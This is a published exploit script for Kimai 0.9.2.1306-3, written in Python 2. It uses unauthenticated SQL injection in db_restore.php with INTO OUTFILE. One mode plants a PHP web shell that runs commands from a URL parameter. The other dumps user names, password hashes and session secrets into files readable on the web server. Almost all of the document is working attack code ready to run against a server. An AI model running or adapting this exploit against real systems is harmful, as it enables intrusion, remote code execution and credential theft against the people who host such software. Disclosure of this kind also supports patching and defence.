Kimai 0.9.2.1306-3 SQL Injection

`# Exploit Title: Kimai 0.9.2.1306-3 SQLi  
# Date: 05/20/2013  
# Exploit Author: drone (@dronesec)  
# Vendor Homepage: http://www.kimai.org/  
# Software Link: https://downloads.sourceforge.net/project/kimai/0.9.x/kimai.0.9.2.1306-3.zip   
# Version: 0.9.2.1306-3  
# Fixed in: source repositories (https://github.com/kimai/kimai)  
# Tested on: Windows XP SP3, Ubuntu 12.04 (apparmor disabled)  
  
"""  
This doesn't even require authentication to the  
web app, as the file is accessible to any user.  
  
Modify paths accordingly if running against Windows  
  
@dronesec  
"""  
from argparse import ArgumentParser  
import string  
import random  
import urllib2  
import sys  
import re  
  
def webshell(options, id):  
""" dat webshell  
"""  
shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))  
sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'  
'%20SELECT%20\'<?php%20system($_GET["rr"]);?>\'%20FROM%20kimai_usr'  
'%20INTO%20OUTFILE%20\'{2}/{3}.php\';--%20&submit=recover')  
  
urllib2.urlopen(sqli.format(options.ip, id, options.path, shell))  
print '[!] Shell dropped. Go hit http://%s/kimai/%s.php?rr=ls'%(options.ip, shell)  
  
def fetch_id(options):  
id = None  
try:  
page = urllib2.urlopen('http://%s/kimai/db_restore.php'%options.ip).read()  
id = re.findall('name="dates\[\]" value=\"(.*?)\">', page)[0]  
except: pass  
return id  
  
def run(options):  
# poll URL for valid backup id  
id = None  
while id is None:  
id = fetch_id(options)  
if id is None:  
print '[-] No backups found, creating one...'  
urllib2.urlopen('http://%s/kimai/db_restore.php?submit=create+backup'%options.ip)  
  
print '[!] Using backup id', id  
  
if options.shell:  
return webshell(options, id)  
  
print '[!] Running queries...'  
  
# execute sqli  
sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'  
'%20SELECT%20{3}%20FROM%20kimai_usr%20INTO%20OUTFILE%20\'{2}/{3}\';--%20&submit=recover')  
  
urllib2.urlopen(sqli.format(options.ip, id, options.path, 'usr_name'))  
  
# execute sqli; hashes  
urllib2.urlopen(sqli.format(options.ip, id, options.path, 'pw'))  
  
# get sessions  
urllib2.urlopen(sqli.format(options.ip, id, options.path, 'secure'))  
  
print '[!] Go grab your files:\n\t{0}/usr_names\n\t{0}/pw\n\t{0}/secure'\  
.format(options.path)  
  
def parse():  
parser = ArgumentParser()  
parser.add_argument('-i', help='server address', action='store', dest='ip')  
parser.add_argument('-p', help='path to dump files (otherwise guesses /var/www/kimai)',  
action='store',default='/var/www/kimai', dest='path')  
parser.add_argument('-w', help='web shell', action='store_true', dest='shell')  
  
options = parser.parse_args()  
  
if not options.ip:  
parser.print_help()  
sys.exit(1)  
  
options.path = options.path if options.path[-1] != '/' else options.path[:-1]  
return options  
  
if __name__ == "__main__":  
run(parse())  
`